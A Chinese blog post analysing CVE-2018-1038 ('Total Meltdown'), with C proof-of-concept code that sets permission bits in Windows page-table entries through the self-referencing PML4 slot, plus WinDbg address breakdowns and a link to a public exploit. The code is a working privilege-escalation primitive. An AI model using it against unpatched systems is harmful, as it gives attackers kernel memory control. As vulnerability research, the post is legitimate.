Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2018-1038:TotalMeltdown漏洞分析的一点记录

CVE-2018-1038:TotalMeltdown漏洞分析的一点记录

作者头像
De4dCr0w
发布于 2019-02-27 08:45:59
发布于 2019-02-27 08:45:59
59700
代码可运行
举报
运行总次数:0
代码可运行

漏洞分析

参考链接中对漏洞分析已经很清晰了,本来是想对PD项也进行权限改写,但是添加代码后(如下代码:)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include 
#include 
#include 

#define QWORD unsigned long long

#define BASE 0xFFFF000000000000

#define PML4 0xFFFFF6FB7DBED000

#define PML4SELF_IDX 0x1ed

QWORD getAddr(QWORD base, QWORD pml4Idx, QWORD pdptIdx, QWORD pdIdx, QWORD ptIdx, QWORD offsetIdx);


void testAddr(unsigned char *p);

int main(int argc, char *argv)
{
	unsigned char *temp = (unsigned char *)0xFFFFF6FB7DBED000;

	unsigned char *p = (unsigned char*)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, 1, 0);//到达PDPT
	testAddr(p);
	QWORD *pdpte = (QWORD *)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, 8);
	*pdpte = (*pdpte | 7);
	testAddr(p);

//添加部分

	unsigned char *pd = (unsigned char*)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, 1, 5, 0x0);//到达PD
	testAddr(pd);
	QWORD *pde = (QWORD *)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, 1, 40);
	*pde = (*pde | 7);
	testAddr(pd);
	
	system("pause");
	return 0;
}


QWORD getAddr(QWORD base, QWORD pml4Idx, QWORD pdptIdx, QWORD pdIdx, QWORD ptIdx, QWORD offsetIdx) {
	base = base + offsetIdx + (ptIdx << 12) + (pdIdx << 21) + (pdptIdx << 30) + (pml4Idx << 39);
	return base;
}

void testAddr(unsigned char *p) {
	__try {
		int i = *p;
		memcpy(p + 40, "\x00\x00\x00\x00\x00\x02\x00\x00", 8);
		printf("access 0x%p sucess\n", p);
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		printf("access 0x%p error\n", p);
	
	}
}

发生错误,所以就对原因进行探究。首先是对虚拟地址转化成物理地址的过程进行分析,如下图:

实际调试过程如下:

两个地址的分解结果:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> .formats 0xFFFFF6FB7DA01000
Evaluate expression:
  Hex:     fffff6fb`7da01000
  Decimal: -9914971844608
  Octal:   1777777557557550010000
  Binary:  11111111 11111111 11110110 11111011 01111101 10100000 00010000 00000000
  Chars:   ....}...
  Time:    ***** Invalid FILETIME
  Float:   low 2.65949e+037 high -1.#QNAN
  Double:  -1.#QNAN
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
11111111 11111111 
11110110 1 :0x1ED (PML4 index)
1111011 01 : 0x1ED (PDPT index)
111101 101 : 0x1ED (PD index)
00000 0001 : 0x1 (PT index)
0000 00000000 (OFFSET)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> .formats 0xfffff6fb40205000
Evaluate expression:
  Hex:     fffff6fb`40205000
  Decimal: -9916003627008
  Octal:   1777777557550010050000
  Binary:  11111111 11111111 11110110 11111011 01000000 00100000 01010000 00000000
  Chars:   ....@ P.
  Time:    ***** Invalid FILETIME
  Float:   low 2.50488 high -1.#QNAN
  Double:  -1.#QNAN

11111111 11111111 
11110110 1 : 0x1ED(PML4 index)
1111011 01 : 0x1ED(PDPT index)
000000 001 : 0x1 (PD index)
00000 0101 : 0x5 (PT index)
0000 00000000 (OFFSET)

查看cr3寄存器的值

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> rM 80
cr0=0000000080050031 cr2=fffff900c22eb000 cr3=0000000000187000
cr8=000000000000000f

得到PFN是0x00187,将PFN*PageSize得到下一级结构PDPT的基址,然后使用pdpt_index来索引PDPT,通过计算PDPT的基址为0x00187000,依然指向的是PML4. 继续计算PD的基址也是0x00187000,最后剩下PT的基址也为0x00187000,所以0xFFFFF6FB7DA01000转化成的物理地址为:0x0000000000000000

经过分析发现之前修改PD项权限错误的原因是PDPT项被映射到了0x0地址上,而0x0上填充的内容超过了映射地址范围,经过测试映射范围最大为0x7ffffffffff。

所以将要映射的地址填成这个范围就可以成功了。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
memcpy(p + 40, "\x00\x00\x00\x00\x00\x02\x00\x00", 8);

运行效果图:

参考链接

https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows

https://bbs.pediy.com/thread-224348.htm

http://blog.frizk.net/2018/03/total-meltdown.html

https://cert.360.cn/warning/detail?id=b58c185c339521ee4e31674d36cd36e3

xpn公布的exp技术分析文章:https://blog.xpnsec.com/total-meltdown-cve-2018-1038/

exp地址:https://gist.github.com/xpn/3792ec34d712425a5c47caf5677de5fe#gistcomment-2568017

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
通过x64分页机制的PTE Space实现内核漏洞利用x64中的分页机制重映射原语(概览)深入重映射机制:一些问题:猜测CR3总结
在研究NVIDIA DxgDdiEscape Handler的漏洞时,可以非常明显的感觉到过去几年中讨论的GDI原语的方法对于可靠的利用此漏洞毫无帮助。
战神伽罗
2021/01/07
1.5K0
x64windows内核句柄表PspCidTable原理与解析
句柄表老生常谈的话题,里面存储了 进程和线程的对象信息。 通过句柄表也可以遍历出隐藏的进程。也就是说全局句柄表里面存储的并不是句柄 而是进程EPROCESS 和线程 ETHREAD
IBinary
2023/07/24
1.7K0
x64windows内核句柄表PspCidTable原理与解析
原创 Paper | CVE-2024-2961 漏洞分析
近期,Linux GLIBC的库函数iconv缓冲区溢出漏洞(CVE-2024-2961)的细节/PoC被公开,目前已知的利用方式是可以让PHP的任意文件读取漏洞升级的远程命令执行漏洞。本文将对公开的漏洞细节和PHP利用思路进行分析研究。
Seebug漏洞平台
2024/06/18
1.9K0
原创 Paper | CVE-2024-2961 漏洞分析
漏洞分析:MS14-058(CVE-2014-4113)
Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后台控制窗口和屏幕输出管理等。
极安御信安全研究院
2022/10/20
1.4K0
漏洞分析:MS14-058(CVE-2014-4113)
漏洞分析丨HEVD-0x4.PoolOverflow[win7x86]
本次实验内容是PoolOverflow,IRP分发函数通过跳转表进行跳转,两项之间的控制码相差4,所以本次实验使用的控制码是:0x22200f,漏洞触发代码:
极安御信安全研究院
2022/07/15
4770
漏洞分析丨HEVD-0x4.PoolOverflow[win7x86]
CVE-2013-2551-Microsoft Internet Explorer COALineDashStyleArray 整数溢出漏洞
Pwn2Own 2013的漏洞,发过安全团队VUPEN他们是攻击win8的ie10,利用rop和模块基址泄露实现任意代码执行
用户1423082
2024/12/31
980
CVE-2013-2551-Microsoft Internet Explorer COALineDashStyleArray 整数溢出漏洞
MIT 6.828 操作系统工程 2018 fall lab1 part3 内核 笔记 and 中文注释源代码阅读
mit 6.828 lab 代码和笔记,以及中文注释源代码已放置在github中: https://github.com/yunwei37/xv6-labs
云微
2023/02/11
8450
CVE-2018-8174双杀漏洞分析复现及防御
CVE-2018-8174漏洞是360追日安全团队于4份捕获到的,并将其命名为“双杀”漏洞,意指在IE浏览器以及office均可以引发的漏洞。
FB客服
2020/02/20
1.3K0
CVE-2018-8174双杀漏洞分析复现及防御
一、保护模式
二进制:00000000 1100 1111 1 11 1 0011 00000000
zhang_derek
2022/09/21
1.3K0
一、保护模式
揪出那些在Windows操作系统中注册的WFP函数
首先,minifilter有!fltkd.的命令,ndis有!ndiskd.的命令,但是WFP却没有类似的命令。
franket
2022/03/25
1.1K0
CTF QEMU 虚拟机逃逸之HITB-GSEC-2017-babyqemu
我们用ida载入,由于有符号的,函数那直接搜索hitb就出现相关函数了,通过初始化函数即下面的init函数可以看到device id是0x2333(记住WORD1这个是device id就行),还有设置了pci_hitb_realize也是初始化的,pci_hitb_uninit就是跟pci_hitb_realize相反的操作,进行destroy,del等操作
用户1423082
2024/12/31
910
CTF QEMU 虚拟机逃逸之HITB-GSEC-2017-babyqemu
利用MDK的FLM文件制作通用flash驱动
在进行Flash操作时,一般我们需要设计一套Flash抽象层,至少要包括flash的init,read、write、erase这些操作。但每更换一个单片机或者flash器件就要额外去编写flash驱动去适配init,read、write、erase。尽管有会者不难的属性加持,但适配所有的单片机或者flash器件,工作量也可想而知。
AIoT-KK
2023/03/01
2.5K1
利用MDK的FLM文件制作通用flash驱动
Netgear R6400v2 堆溢出漏洞分析与利用
2020 年 6 月,ZDI发布了一个关于Netgear R6700型号设备上堆溢出漏洞的安全公告,随后又发布了一篇关于该漏洞的博客,其中对该漏洞进行了详细分析,并给出了完整的漏洞利用代码。该漏洞存在于对应设备的httpd组件中,在处理配置文件上传请求时,由于对请求内容的处理不当,在后续申请内存空间时存在整数溢出问题,从而造成堆溢出问题。攻击者利用这一漏洞可以在目标设备上实现代码执行,且无需认证。
信安之路
2021/03/25
1.8K0
Netgear R6400v2 堆溢出漏洞分析与利用
创建漏洞利用:SolarWinds 漏洞 CVE-2021-35211
在这篇博客中,我想分享一些在现代 Windows 系统上为 Serv-U FTP v15.2.3.717 创建基于 ROP 的漏洞利用背后的一些思考过程。我不会在这里介绍漏洞的根本原因,因为 Microsoft 研究团队在他们的博客文章中做得很好。如果您对我们如何到达 NattySamson 的 PoC 以及我们随后的漏洞利用感兴趣,请先阅读该文章,然后再返回此处。
Khan安全团队
2022/01/18
2.2K0
从 CVE-2016-0165 说起:分析、利用和检测(中)
本文将对 CVE-2016-0165 (MS16-039) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。
稻草小刀
2022/12/12
7440
从 CVE-2016-0165 说起:分析、利用和检测(中)
CVE-2017-16943 Exim UAF漏洞分析
作者:Hcamael@知道创宇404实验室 发表时间:2017年12月1日 感恩节那天,meh在Bugzilla上提交了一个exim的uaf漏洞:https://bugs.exim.org/show_
Seebug漏洞平台
2018/03/15
2.3K1
原创Paper | Citrix CVE-2022-27518 漏洞分析
Citrix在2022年12月份发布了CVSS评分9.8的CVE-2022-27518远程代码执行漏洞通告,距今已经过去两个多月了,由于漏洞环境搭建较为复杂,一直没有相关的分析文章。经过一段时间的diff分析及验证后,发现漏洞成因在于Citrix netscaler在解析SAML xml时对SignatureValue字段校验不严格导致了栈溢出。
Seebug漏洞平台
2023/08/23
1.1K0
原创Paper | Citrix CVE-2022-27518 漏洞分析
hgame-week1-writeup
那必然是直接冲去搭顺风车,url:http://hitchhiker42.0727.site:42420/HitchhikerGuide.php
HomeboyC
2022/09/19
6780
hgame-week1-writeup
强网杯PWN WP
这次比赛总的来说体验还是很不错,baby_diary这个题虽然没有拿到前三血,但做题速度超过腾讯eee,星盟安全,长亭科技战队等。
i0gan
2021/06/26
2.1K0
[Virtualization] Peach VM - 基于Intel VMX的简易虚拟机实例分析
前言 基本概念 架构 工作关系 MSR Register VMXON Region VMCS Region 技术 Intel EPT 影子页表 EPT Intel VMX 指令集 测试环境 宿主机 虚拟机 代码分析 目录 用户态部分 内核模块 一些数据结构 模块初始化 ioctl - PROBE ioctl - PEACH_RUN init_ept handle_vmexit 总结 ---- 前言 之前在看VMX相关的东西的时候基本都是从比较抽象的文档入手,对于概念的理解还是比较模糊的。而且像kvm这种项目
赤道企鹅
2022/08/01
2.3K0
[Virtualization] Peach VM - 基于Intel VMX的简易虚拟机实例分析
推荐阅读
相关推荐
通过x64分页机制的PTE Space实现内核漏洞利用x64中的分页机制重映射原语(概览)深入重映射机制:一些问题:猜测CR3总结
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验